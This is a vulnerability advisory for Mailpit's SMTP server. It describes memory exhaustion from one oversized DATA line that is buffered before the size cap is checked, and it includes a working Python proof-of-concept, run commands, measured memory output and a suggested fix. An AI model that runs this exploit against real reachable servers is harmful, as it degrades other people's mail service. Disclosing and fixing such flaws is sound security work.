PT-2026-80306 · Go · Github.Com/Axllent/Mailpit
Published
2026-08-20
·
Updated
2026-08-20
CVSS v3.1
5.3
Medium
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
Summary
Mailpit's SMTP DATA reader enforces the configured
MaxMessageSize only after bufio.Reader.ReadBytes(' ') has already buffered a complete DATA line. A remote unauthenticated SMTP client can send one line larger than the configured message-size cap and force memory allocation before Mailpit returns the expected 552 5.3.4 rejection, leaving patched versions still exposed to a single-line incomplete-fix variant of the earlier SMTP DATA body-size issue.Technical Details
Mailpit enables SMTP by default. The SMTP server now wires
config.MaxMessageSize into srv.MaxSize:go
if config.MaxMessageSize > 0 {
srv.MaxSize = config.MaxMessageSize * 1024 * 1024
}The DATA reader then checks that cap, but only after reading a full newline-terminated line into memory:
go
line, err := s.br.ReadBytes('
')
if err != nil {
return nil, err
}
if bytes.Equal(line, []byte(".r
")) {
break
}
if line[0] == '.' {
line = line[1:]
}
if s.srv.MaxSize > 0 {
if len(data)+len(line) > s.srv.MaxSize {
, = s.br.Discard(s.br.Buffered())
return nil, maxSizeExceeded(s.srv.MaxSize)
}
}This ordering violates the size-limit invariant. The configured cap can reject the message only after the attacker has supplied the line terminator and
ReadBytes(' ') has allocated the over-limit line. With the default 50 MiB cap, a 64 MiB single DATA line is still buffered before Mailpit returns 552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800).This is related to the older SMTP DATA body-size advisory, but it is a post-fix gap:
srv.MaxSize is now assigned, and normal multi-line DATA accumulation is bounded. The remaining issue is that one individual DATA line is not bounded before buffering.PoV
The following reduced proof starts a local Mailpit release binary, sends a small DATA message as a negative control, then sends one 64 MiB DATA line without an intermediate newline. It samples process RSS while the request is in flight:
python
#!/usr/bin/env python3
import os, socket, subprocess, threading, time
from pathlib import Path
def free port():
s = socket.socket()
s.bind(("127.0.0.1", 0))
p = s.getsockname()[1]
s.close()
return p
def rss kib(pid):
return int(subprocess.check output(["ps", "-o", "rss=", "-p", str(pid)], text=True).strip())
def recv line(sock):
data = b""
while not data.endswith(b"
"):
chunk = sock.recv(1)
if not chunk:
break
data += chunk
return data.decode("latin-1", "replace").strip()
def send cmd(sock, cmd):
sock.sendall(cmd)
return recv line(sock)
def wait for smtp(port):
deadline = time.time() + 8
while time.time() < deadline:
try:
with socket.create connection(("127.0.0.1", port), timeout=0.5) as sock:
recv line(sock)
return
except OSError:
time.sleep(0.1)
raise RuntimeError("SMTP server did not become ready")
def send data line(port, pid, label, payload bytes, finish message):
stop = threading.Event()
peak = {"rss": rss kib(pid)}
def monitor():
while not stop.is set():
peak["rss"] = max(peak["rss"], rss kib(pid))
time.sleep(0.03)
t = threading.Thread(target=monitor, daemon=True)
t.start()
sock = socket.create connection(("127.0.0.1", port), timeout=20)
try:
recv line(sock)
send cmd(sock, b"HELO pov.exampler
")
send cmd(sock, b"MAIL FROM:<sender@example.test>r
")
send cmd(sock, b"RCPT TO:<recipient@example.test>r
")
send cmd(sock, b"DATAr
")
sock.sendall(f"Subject: {label}r
r
".encode())
chunk = b"A" * min(1024 * 1024, payload bytes)
remaining = payload bytes
while remaining:
n = min(len(chunk), remaining)
sock.sendall(chunk[:n])
remaining -= n
sock.sendall(b"r
.r
" if finish message else b"r
")
response = recv line(sock)
finally:
stop.set()
t.join(timeout=1)
sock.close()
after = rss kib(pid)
return response, max(peak["rss"], after), after
mailpit = "./mailpit"
workdir = Path("./pov-work")
workdir.mkdir(exist ok=True)
http port, smtp port = free port(), free port()
proc = subprocess.Popen([mailpit, "--disable-version-check", "--database", str(workdir / "mailpit.db"), "--listen", f"127.0.0.1:{http port}", "--smtp", f"127.0.0.1:{smtp port}", "--max-message-size", "50"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=os.environ.copy())
try:
wait for smtp(smtp port)
time.sleep(0.25)
max message size mib = 50
control payload = 1024
oversized payload = 64 * 1024 * 1024
baseline = rss kib(proc.pid)
control resp, control peak, after control = send data line(smtp port, proc.pid, "negative-control", control payload, True)
oversized resp, oversized peak, after oversized = send data line(smtp port, proc.pid, "oversized-single-line", oversized payload, False)
print(f"max message size mib={max message size mib}")
print(f"baseline rss kib={baseline}")
print(f"control payload bytes={control payload}")
print(f"control response={control resp}")
print(f"control peak delta kib={control peak - baseline}")
print(f"after control rss kib={after control}")
print(f"oversized single data line bytes={oversized payload}")
print(f"oversized response={oversized resp}")
print(f"oversized peak delta kib={oversized peak - after control}")
print(f"after oversized rss kib={after oversized}")
finally:
proc.terminate()
try:
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
proc.kill()PoC
For the official Darwin ARM64
v1.30.3 release binary used for this proof, start in a clean parent directory and create the PoC directory:fish
mkdir mailpit-v1.30.3-pov
cd mailpit-v1.30.3-povFrom inside that directory, save the script above as
smtp data line size pov.py, then run:fish
curl -fsSLO https://github.com/axllent/mailpit/releases/download/v1.30.3/mailpit-darwin-arm64.tar.gz
tar -xzf mailpit-darwin-arm64.tar.gz
chmod +x ./mailpit
./mailpit version
python3 ./smtp data line size pov.pyThe official Darwin ARM64
v1.30.3 release binary reported:text
mailpit v1.30.3 compiled with go1.26.4 on darwin/arm64The bounded PoC output was:
text
max message size mib=50
baseline rss kib=25008
control payload bytes=1024
control response=250 2.0.0 Ok: queued as 1702Ad5k2J9kgOrc6phO0X
control peak delta kib=2656
after control rss kib=27680
oversized single data line bytes=67108864
oversized response=552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)
oversized peak delta kib=132928
after oversized rss kib=160608The control shows the normal DATA path accepting and queueing a small message. The oversized case differs only in DATA line length: Mailpit returns the configured size-cap rejection, but only after process RSS rises by about 130 MiB for one 64 MiB line.
Impact
An unauthenticated client that can reach the SMTP listener can force Mailpit to allocate memory above the configured
MaxMessageSize before rejection. Repeating the input across concurrent connections can create substantial memory pressure and degrade service availability. The issue is bounded by attacker bandwidth and host memory rather than by the configured message-size cap until a newline arrives and the delayed check runs.Exploitability requires the SMTP listener to be reachable by an untrusted client. Typical Mailpit deployments confined to trusted internal networks, CI environments without untrusted SMTP access, or loopback-only access therefore have substantially lower practical risk.
AV:N describes the network attack path in a reachable deployment; it does not imply that most Mailpit instances are exposed to the public Internet.The PoV demonstrates substantial memory pressure but does not establish complete service loss. The advisory therefore uses Low availability impact (
A:L), producing a CVSS 3.1 score of 5.3 (Medium).Suggested Fix
Bound SMTP DATA line reads before buffering the full line. Replace unbounded
ReadBytes(' ') with a reader that stops once len(data)+currentLineBytes would exceed srv.MaxSize, returns the existing 552 5.3.4 error, and drains or closes the connection without retaining the over-limit line. The check should account for dot-stuffing and the CRLF terminator, and should reject before allocating attacker-controlled bytes beyond the configured cap.Regression tests should cover a normal small DATA message, a multi-line message exactly at the cap, and a single line over the cap. The over-cap single-line test should assert that Mailpit returns
552 5.3.4 without reading the whole line into a returned buffer or causing material RSS growth.Affected Package/Versions
Confirmed affected:
v1.30.0, commitaf8756a32cf7ecf06bef109c1348b783f1a239ee, source has the post-fixsrv.MaxSizewiring and the sameReadBytes(' ')before size enforcement.v1.30.3, commit6acf5b8f942ab0e007b1227d31dfb3c3303e8d13, reproduces with the official Darwin ARM64 binary shown above.- Latest release
v1.30.4, commit3b41030dbef4574ec92b815cb464fec7b4cfdc15, published 2026-07-09, is source-confirmed with the same vulnerable ordering. - Current
develop, commit6a09f28d5489a85245cc8ddbf512047495627147, checked 2026-07-09, is source-confirmed with the same vulnerable ordering.
No fixed version was identified during this review.
A focused source sweep on 2026-07-09 returned the same ordering for the lower post-fix release, latest release, and current
develop: internal/smtpd/main.go wires MaxMessageSize into srv.MaxSize, while internal/smtpd/smtpd.go still reads a full DATA line before enforcing that cap.text
develop head=6a09f28d5489a85245cc8ddbf512047495627147
v1.30.4 commit=3b41030dbef4574ec92b815cb464fec7b4cfdc15
v1.30.0 commit=af8756a32cf7ecf06bef109c1348b783f1a239ee
v1.30.0:internal/smtpd/main.go:250: if config.MaxMessageSize > 0 {
v1.30.0:internal/smtpd/main.go:251: srv.MaxSize = config.MaxMessageSize * 1024 * 1024
v1.30.0:internal/smtpd/smtpd.go:855: line, err := s.br.ReadBytes('
')
v1.30.0:internal/smtpd/smtpd.go:869: if s.srv.MaxSize > 0 {
v1.30.0:internal/smtpd/smtpd.go:870: if len(data)+len(line) > s.srv.MaxSize {
v1.30.0:internal/smtpd/smtpd.go:872: return nil, maxSizeExceeded(s.srv.MaxSize)
v1.30.4:internal/smtpd/main.go:250: if config.MaxMessageSize > 0 {
v1.30.4:internal/smtpd/main.go:251: srv.MaxSize = config.MaxMessageSize * 1024 * 1024
v1.30.4:internal/smtpd/smtpd.go:878: line, err := s.br.ReadBytes('
')
v1.30.4:internal/smtpd/smtpd.go:892: if s.srv.MaxSize > 0 {
v1.30.4:internal/smtpd/smtpd.go:893: if len(data)+len(line) > s.srv.MaxSize {
v1.30.4:internal/smtpd/smtpd.go:895: return nil, maxSizeExceeded(s.srv.MaxSize)
develop:internal/smtpd/main.go:250: if config.MaxMessageSize > 0 {
develop:internal/smtpd/main.go:251: srv.MaxSize = config.MaxMessageSize * 1024 * 1024
develop:internal/smtpd/smtpd.go:878: line, err := s.br.ReadBytes('
')
develop:internal/smtpd/smtpd.go:892: if s.srv.MaxSize > 0 {
develop:internal/smtpd/smtpd.go:893: if len(data)+len(line) > s.srv.MaxSize {
develop:internal/smtpd/smtpd.go:895: return nil, maxSizeExceeded(s.srv.MaxSize)Advisory History
The closest public advisory is
GHSA-fpxj-m5q8-fphw, "Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes." That advisory covered older versions where Server.MaxSize was not assigned, leaving SMTP DATA bodies unlimited. This report is the post-fix single-line gap: MaxSize is assigned and the message is eventually rejected, but one over-limit DATA line is still buffered before the cap runs.Other published Mailpit advisories checked include
GHSA-28pq-6qxg-wg5r for sibling HTTP JSON body limits, GHSA-54wq-72mp-cq7c for SMTP header injection, GHSA-w4vj-r5pg-3722 for proxy CSS map concurrency, GHSA-qx5x-85p8-vg4j for dump path traversal, the SSRF/link-check/proxy/html-check family, and GHSA-524m-q5m7-79mm for CSWSH. None describe this post-fix SMTP DATA line-buffering behavior.GHSA-w878-pj84-3j5v and GHSA-75mr-qw9x-3r39 were published on 2026-07-09 and included in the v1.30.4 security release. GHSA-w878-pj84-3j5v caps SMTP command lines before DATA and POP3 command lines before message retrieval. It remains distinct from this post-DATA path: v1.30.4 still calls ReadBytes(' ') in readData() before comparing the complete line against MaxSize. GHSA-75mr-qw9x-3r39 bounds decoded thumbnail dimensions in the HTTP attachment handler, with a different boundary, sink, precondition, and fix surface.The separate POP3 command-line draft was rejected and removed after
GHSA-w878-pj84-3j5v and the v1.30.4 release established that the shared command-line fix covers both SMTP and POP3. That disposition does not cover this report: the affected path is SMTP readData() after DATA, remains present in v1.30.4, and requires a remaining-message or DATA-line bound rather than a command-reader cap.Public issue searches for
SMTP DATA line size and ReadBytes DATA MaxSize returned no matching issues. Public commit search for MaxSize ReadBytes returned no matching fix.Fix
Allocation of Resources Without Limits
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Github.Com/Axllent/Mailpit